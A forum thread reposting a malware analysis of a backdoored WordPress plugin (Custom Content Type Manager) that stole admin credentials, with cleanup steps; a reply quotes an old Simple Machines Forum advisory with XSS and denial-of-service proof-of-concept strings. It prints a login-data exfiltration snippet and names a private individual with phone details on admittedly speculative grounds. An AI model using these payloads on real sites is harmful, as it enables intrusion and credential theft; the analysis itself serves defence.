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Author Topic: When a WordPress Plugin Goes Bad  (Read 6525 times)

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When a WordPress Plugin Goes Bad
« on: 06. March 2016., 15:57:54 »
When a WordPress Plugin Goes Bad

Last summer we shared a story about the SweetCaptcha WordPress plugin injecting ads and causing malvertising problems for websites that leveraged the plugin. When this plugin was removed from the official WordPress Plugin directory, the authors revived another WordPress account with a long abandoned plugin and uploaded SweetCaptcha as a “new version” of that plugin.

In the end of the SweetCaptcha saga, we gave this warning:

It’s quite a common scenario when criminals try to hijack or buy developer accounts of legitimate applications, or pay their developers to add some malicious code into their software, so some benign plugin or application may turn bad after an update — the only thing that protects you is the author reputation and the security screening and approval process in the repository.

This time we’ll tell you of another plugin that turned bad after an update.

Backdoor in Custom Content Type Manager

Custom Content Type Manager (CCTM) is a relatively popular plugin with three years of development, 10,000+ active installs, and a satisfaction rating of 4.8. It helps create custom post types. Website owners find the classical “blog format” too restrictive, use the plugin to add custom elements to their posts. So far so good.

This week we cleaned one infected site and found a very suspicious auto-update.php file inside wp-content/plugins/custom-content-type-manager/.

Backdoor in auto-update.php

It’s a backdoor that can download files from hxxp://wordpresscore .com/plugins/cctm/update/ (the domain name is definitely very suspicious) and save them with the .php extension in the plugin directory.

It looked like a typical backdoor that could be uploaded anywhere on a compromised server, not just in this particular plugin. We decided to check the original plugin package and, to our surprise, found the file in the source!  We also discovered that we were not the only ones that found this file (although people on the forum seemed to believe that the file was just “vulnerable”). This really was worth investigating.

Plugin Revisions

Every WordPress plugin that you find in the official Plugin Directory is being updated via the subversion repository. With help from the Trac issue tracking system, anyone can use this repository to find a lot of interesting information about who, when, and what changed in any version of any plugin. For example, these are the recent changes in the Custom Content Type Manager plugin:

Latest revisions of the Custom Content Type Manager plugin

One of the recent changes added the auto-update.php file on Feb 18th, 2016. In this update, “wooranker” made a change and added the following message: “small tweeks by new owner” (original grammar preserved).

New Plugin Owner

It appears the plugin has changed owners! Indeed, in the above screenshot, you can see that two weeks ago the plugin was still being updated by “fireproofsocks“. One of their last changes is described as “Adding wooranker to the readme.”  After that only wooranker updated the plugin.

Was it a legitimate change by the owner? Maybe. All we know is that the plugin hadn’t been updated before that for ten months. Perhaps its developer lost interest in it and accepted an offer from wooranker. On the other hand, taking into account the malicious plugin update and the fact that fireproofsocks was inactive for nearly a year, we can suspect that wooranker could have hacked into the fireproofsocks account and added themselves as a new owner.

Additionally, on Feb 5th, 2016, wooranker was also added as an owner to the Postie plugin. There had been many legitimate changes to the Postie plugin since then. All committed by its original author – WayneAllen. So, in this case the new owner was added with the original author’s consent. Puzzling, isn’t it? I have a theory about this. Before I share it with you, let’s return to the malicious CCTM plugin update and see how wooranker used it to hack sites.

More Malicious Changes

Trac also shows this interesting plugin update (Feb 19th, the latest change). It added the /includes/CCTM_Communicator.php file and inserted this new code into the plugin’s index.php.

// Send plugin information when user login
 function _wp_login_eventhandler($user_login, $user) {
 $_objCCTMCom = new CCTM_Communicator();
 $_objCCTMCom->addInfo(array($user_login, $user));
 add_action('wp_login', '_wp_login_eventhandler', 10, 2);

This code sends information about the site and the user to the wooranker’s server (wordpresscore .com) every time someone logs into the WordPress website. Although the user data doesn’t contain the user password in plain text, it’s good enough to compile a list of sites with the installed backdoored CCTM plugin. Similar information is also sent when the plugin is activated.

Attack Scenario.

Using access logs on the compromised site, we were able to reconstruct the whole attack.


On February 28th, someone from (Digital Ocean) tried to use some Python script (“python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-79-generic“) to log into WordPress.

The address of the site was apparently obtained via the new CCTM_Communicator feature.

Probably the attacker tried to use the stolen admin username along with some common passwords. Those attempts were futile, because that site used a plugin that changed the login URL.

Uploading More Backdoors

A day later (Feb 29th), the attacker decided to use the auto-update.php backdoor. It helped them upload the c.php file into the plugin directory. The purpose of this new c.php is to create a more sophisticated attack shell wp-options.php in the site root directory. Once wp-options.php is created, the c.php file is automatically deleted.

After that, wooranker used wp-options.php to “patch” three core WordPress files and create a new admin user with name “support” and the email address: “support@wordpresscore .com”

“Patching” WordPress

While CCTM_Communicator does steal user information, it lacks the user passwords. To work around this, wp-options.php “patches” three core files that work with user passwords in plain text:

> wp-login.php – the patch sends credentials of an authenticated admin users to hxxp://wordpresscore .com/in/login/index.php

> wp-admin/user-new.php – steals credentials of newly created users and sends them to hxxp://wordpresscore .com/in/add-user/index.php

> wp-admin/user-edit.php – steals credentials when someone changes a password and sends them to hxxp://wordpresscore .com/in/pass-change/index.php

And in case of no user activity, this script also creates an extra admin user “support/ support@wordpresscore .com“.

The new features of the version of the Custom Content Type Manager plugin are:
providing a backdoor to the site
stealing credentials of the site users.

No other new features/bug fixed were identified, so it’s hard to tell how it passed a review in the Plugin Directory.


There was one more minor change. The first thing wooranker changed after obtaining ownership of the plugin was adding some donutjs into includes/CCTM.php.

wp_enqueue_script('donutjs', '//' );

Looks like just another JavaScript library, right? Many plugins do it. However there’s something suspicious about it:

1.Why would a plugin need to include a jquery.js script? WordPress does it by default. 1.Moreover, why include the script from a third-party site that doesn’t seem to have anything to do with jQuery or with the well-known CDNs that host jQuery scripts? More often than not, this is a sign of a fake malicious jquery script.

2. What is this donutjs anyway?

Have you ever heard of DonutJS? There are very few results when you Google it. The most meaningful is this three-year-old Github project of a virtually unknown (2 watchers and no contributors) JS library that builds donut charts. A [“”] search returns even less results (34 for me), mostly from online services that provide information on any requested domains (rankings, keywords, WHOIS). By the way – the domain was registered just 6 months ago.

The donutjs .com itself looks like it really provides some JavaScript library:

Donut JS is a fast, lightweight, cross-platform framework
for building incredible, powerful JavaScript applications.

Donut JS vs Vanilla JS

But if you read it carefully, you’ll notice that it’s fake.

> Donut JS code in comparison charts is pure vanilla JavaScript

> Links to DonutJS documentation and books lead to third-party generic JavaScript resources.

> Download button won’t work

And of course this claim at the top of the site makes me laugh:

In fact, Donut JS is already used on more websites than jQuery, Prototype JS, MooTools, YUI, and Google Web Toolkit – combined.

DonutJS false claim to fame

Funny, isn’t it? It should be, because donutjs .com is actually a slightly modified copy of the Eric Wastl‘s parody site where he compares vanilla JavaScript to popular frameworks.

Tracking Instead of jQuery

Okay, now we know that donutjs .com doesn’t have anything to do with any real JS libraries. So why did wooranker include the donutjs .com/jquery.js script? It’s definitely not jQuery. Here’s what this URL returns:

DonutJS jqury.js source code

It’s another tracking script that reports referrers to hxxps://donutjs .com/jquery-js.php.

Why would someone want those referrers? The answer is they are useful to someone who injects this script into vulnerable sites — the referrers will provide them with addresses of the sites they can hack.

So basically the donutjs script is a backup for the spying module in CCTM_Communicator that only works when someone logs into WordPress or activates the plugin.

Wooranker + WordPresscore + Donutjs = …

If the above is true, then wooranker should control donutjs. com. Well it seems to be the case. How do I know? Unlike other hackers, this guy doesn’t put much (if any) effort into hiding his identity.

Let’s begin with WHOIS:

wordpresscore .com

Creation Date: 2015-11-23

Registrant Name: Vishnudath Mangilipudi
Admin State/Province: Andhra Pradesh
 Admin Postal Code: 524201
 Admin Country: IN
 Admin Phone: +91.8985005295

donutjs .com

Registrant Name: vishnudath
 Registrant Country: IN
 Registrant Phone: +91.8985005295

trimtoroot .com – United States New York City Digital Ocean Inc.

wp-options.php script contains references to “trimtoroot .com” that used to be a command & control server before wordpresscore .com.

Registrant Name: Vishnudath Mangilipudi
 Registrant Organization:

As you can see, all these domains are registered by some Vishnudath from Andhra Pradesh in India.

A bit more Googling and we find a profile of a freelance designer “Vishnudath M” from India with nickwooranker – bingo!

Digital Ocean

We also see a strong connection to the Digital Ocean network. Some sites like trimtoroot .com are hosted there, other domains host their name servers there. Backdoors in the Custom Content Type Manager plugin were also accessed from the Digital Ocean network ( Digital Ocean is more a developer choice than a hacker choice.

Freelancer Comes to the Dark Side

So we know that wooranker is an Indian graphics designer with pretty good technical knowledge who has his own VPS (droplets) on the Digital Ocean network. What else can we say about him?

He definitely knows how WordPress works. Some of the code in the malicious plugin update looks pretty smart and makes creative use of WordPress API.

He also probably works as a freelance WordPress developer and this may explain why the author of the second plugin, Postie, added wooranker as a plugin owner (I promised to shared my thoughts about it).

He most likely supports and maintains some WordPress sites. In the wp-options.php attack shell that he uploaded after infection, I found some features that don’t have anything to do with malicious activity.

For example, there is an option to install these three popular security plugins:

> Theme Authenticity Checker (TAC)

> Brute Force Login Protection

> and even our Sucuri Security

It can also backup files and even update WordPress.

Most likely it was initially created as a tool to maintain WordPress sites, update them, clean hacks, and protect them.

Maybe he was making his living by bidding for such jobs on various freelance marketplace sites. Not the most profitable work. As he learned more and saw more infected and vulnerable websites, he probably wondered if there were more chances to make money on the other side…
The wordpresscore .com domain was registered back in November with clearly malicious intent.

And then, when the Postie plugin owner added him as an author, he learned about how the Plugin Directory worked and spotted its weaknesses. With a little luck, he managed to guess credentials of a seemingly abandoned plugin account, added his own wooranker account to it, and published the backdoored new version of the plugin which finished the transformation to the dark side.

Of course, all this is nothing more than my speculations about the wooranker story. After all, this Vishnudath can be just a red herring that hides the identity of the real hacker.

At this point it’s not clear what he wants to do with all of the hacked sites. But the beginning doesn’t leave hope that it will be something benign. Stemming from the wooranker username, I guess it may have something to do with black hat SEO.

Who can we trust?

This story raises some important questions:

1.How much can we trust plugins that you download from the official WordPress Plugin Directory? Of course there are some screening process. but it can’t detect all tricky backdoors and new types of malware. With the huge number of plugins and updates, it’s just not feasible. Without reviewing the code of a plugin and its updates, you can trust a plugin no more than you can trust its author. How many plugin developers do you know and trust? Think about it next time when you install a new plugin or update already installed plugins.

2.How much can we trust freelancers that we hire to do some minor maintenance jobs on our sites? You might be giving full access to someone who also “plays” for the “bad guys”. Do you make backups before you hire freelancers? Do you change all passwords and scan for backdoors when they finish their work?


If you are one of the unlucky site owners who upgraded the Custom Content Type Manager plugin to version or installed it recently, here are the steps you should do (order matters):
1.Deactivate the Custom Content Type Manager plugin.

2.Check consistency of all core WordPress files. You can reinstall WordPress to achieve this. At least, make sure that the following three files are not modified (For WP 4.4.2 you can get the originals here):

3. Now that you removed the credentials stealing code in the previous steps, change passwords of all WordPress users.

4.Don’t forget to delete users that you don’t recognize. Especially the one with thesupport@wordpresscore .com email.

5.Now remove wp-options.php in the root directory.
    1.Delete the Custom Content Type Manager plugin. If you really need it, get the last good version here and disable automatic plugin updates until the malicious plugin versions are removed from the Plugin Directory. By the way, don’t install CCTM versions older than either. They have a known security hole and we see hackers checking websites for this (along with many other vulnerabilities).

6.You might also want to scan all other files and the database for “wordpresscore”. Just in case.

As our real-world case shows, plugins that change WordPress login URLs not only save you from brute force attacks, but also help in cases when hackers steal admin credentials or manage to create fake admins. Restricting access to the admin area is also a good idea.

And finally, make sure your site is being monitored for security issues.

Original article:
Their is two easy way to configure a system!
Every thing open and every thing closed.
Every thing else is more or less complex.

Start Turfing !,8405.msg21475.html#msg21475

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When a WordPress Plugin Goes Bad
« on: 06. March 2016., 15:57:54 »


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Re: When a WordPress Plugin Goes Bad
« Reply #1 on: 07. March 2016., 19:17:17 »

Thank you very much for informative articles (this & this one:,11292.0.html ) about WordPress. :thumbsup:

Please, keep us informed about "Simple Machines" as well: , "our" software platform. ;)

cya around,



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Re: When a WordPress Plugin Goes Bad
« Reply #2 on: 09. March 2016., 01:08:23 »

Thank you very much for informative articles (this & this one:,11292.0.html ) about WordPress. :thumbsup:

Please, keep us informed about "Simple Machines" as well: , "our" software platform. ;)

cya around,


Here do you have one the you probebly allready know about because it is from 2009. But if you dont! ;)

Simple Machines Forum Multiple Security Vulnerabilities

EDB-ID: 10274 CVE: 2009-5068...  OSVDB-ID: 86444 
EDB Verified:  Author: SimpleAudit Team Published: 2009-12-02
Download Exploit:  Source  Raw Download Vulnerable App: N/A 

Simple Machines Forum is prone to multiple security vulnerabilities:
- A remote PHP code-execution vulnerability
- Multiple cross-site scripting vulnerabilities
- Multiple cross-site request-forgery vulnerabilities
- An information-disclosure vulnerability
- Multiple denial-of-service vulnerabilities
Attackers can exploit these issues to execute arbitrary script code within the context of the webserver, perform unauthorized actions on behalf of legitimate users, compromise the affected application, steal cookie-based authentication credentials, obtain information that could aid in further attacks or cause denial-of-service conditions.
Please note some of these issues may already be described in other BIDs. This BID will be updated if further analysis confirms this.
These issues affect Simple Machines Forum 2.0 RC2. Some of these issues also affect version 1.1.10.
Bugtraq ID: 37182
Class: Unknown
Remote: Yes
Local: No
Published: Dec 02 2009 12:00AM
Updated: Dec 02 2009 12:00AM
Credit: SimpleAudit team from
Vulnerable: Simple Machines Simple Machines Forum 1.1.10
Simple Machines Simple Machines Forum 2.0 RC2
An attacker can use a browser to exploit these issues. To exploit the cross-site scripting and cross-site request-forgery vulnerabilities, the attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
For information-disclosure issue issue:
For denial-of-service issue:
GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
For denial-of-service issue (cookie):
For cross-site scripting issues:
PoC: "><xss>
PoC: http://urlreal"><script>alert(1);</script>

Original article:
Their is two easy way to configure a system!
Every thing open and every thing closed.
Every thing else is more or less complex.

Start Turfing !,8405.msg21475.html#msg21475


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Re: When a WordPress Plugin Goes Bad
« Reply #3 on: 13. March 2016., 20:15:15 »

Here do you have one the you probebly allready know about because it is from 2009. But if you dont! ;)


Thank you very much, indeed SCforum is migrated to SMF version 2 in 2012.

However, all help to protect our Community is very Welcomed. :police::thumbsup:

Like this one for example:,11417.0.html



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Re: When a WordPress Plugin Goes Bad
« Reply #4 on: 25. May 2022., 12:22:30 »
When we’re building a WordPress website we like to use plugins. Plugins allow us to add a specific functionality to a website that wouldn’t be available in a stock WordPress install.

We use plugins for contact forms, disabling comments and really exciting stuff like SMTP authentication which helps improve email deliverability from the website. Many plugins advertise ‘…easiest, most effective plugin available’, or ‘#1 WordPress plugin for such and such’. Sometimes this may be the case but there are some plugins that really shouldn’t be used or even trusted.

At Portal we used a free, simple, reliable and free WordPress plugin for GDPR compliance on all of our clients websites. However, it was recently bought by a larger plugin company which changed it for the worse. Going from a nice and simple easy to configure plugin to something that required a monthly fee and was awkward to set up and limited in functionality. We obviously didn’t want to have to unnecessarily charge our hosted clients out of the blue so we spent 2 full days removing and adding a new GDPR plugin to every single one of our sites. Now when we say 2 days, we aren’t exaggerating we mean 2 full days of removing a plugin because they changed it for the worse.

When browsing through the plugins available on WordPress it is important that you check that they have been updated and are functioning with the recent version of WordPress. For one of our clients we had a plugin that created a rather slick flip book of any PDF. However, it hasn’t been updated since November 2020 meaning that it isn’t compatible with the latest version of WordPress rendering it broken and pretty much useless.

This was also a premium plugin bought from a reputable software website and can oddly enough still be purchased. The comments and reviews show that the plugin looks to be abandoned. Thankfully we have found an alternative which does almost exactly the same as the paid plugin if not better.

We use SMTP(Simple Mail Transfer Protocol) plugins on all of our websites. An SMTP plugin allows you to configure and send all outgoing emails via a SMTP server preventing your emails from going into the junk/spam folder of the recipients. Like a good website management and hosting company we like to keep our WordPress plugins up to date. However, the latest update for this particular plugin had an exploit in it which allowed people to create users and then redirect the site to somewhere else. Now this is the opposite of leaving your plugin to go out of date as the exploit came in an update and this is the only time this has happened, it was caught quickly by the community and the plugin was patched.

If you have read this blog and are unsure if you know what the best plugins for your site are or are looking to have your site improved or updated, then please get in touch with us here.

If you are looking grow your online presence through your website or your social media, please get in touch here and one of our creative team will be able to help.

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Re: When a WordPress Plugin Goes Bad
« Reply #4 on: 25. May 2022., 12:22:30 »


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Re: When a WordPress Plugin Goes Bad
« Reply #5 on: 14. June 2022., 07:34:31 »
Why not settling on games that is fun and at the same time your earning. Well itll make suspense because of the game as well but dude just try it and it gave me hope while pandemic is real rn.  Myths about Online Casinos, What are They?

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Re: When a WordPress Plugin Goes Bad
« Reply #5 on: 14. June 2022., 07:34:31 »


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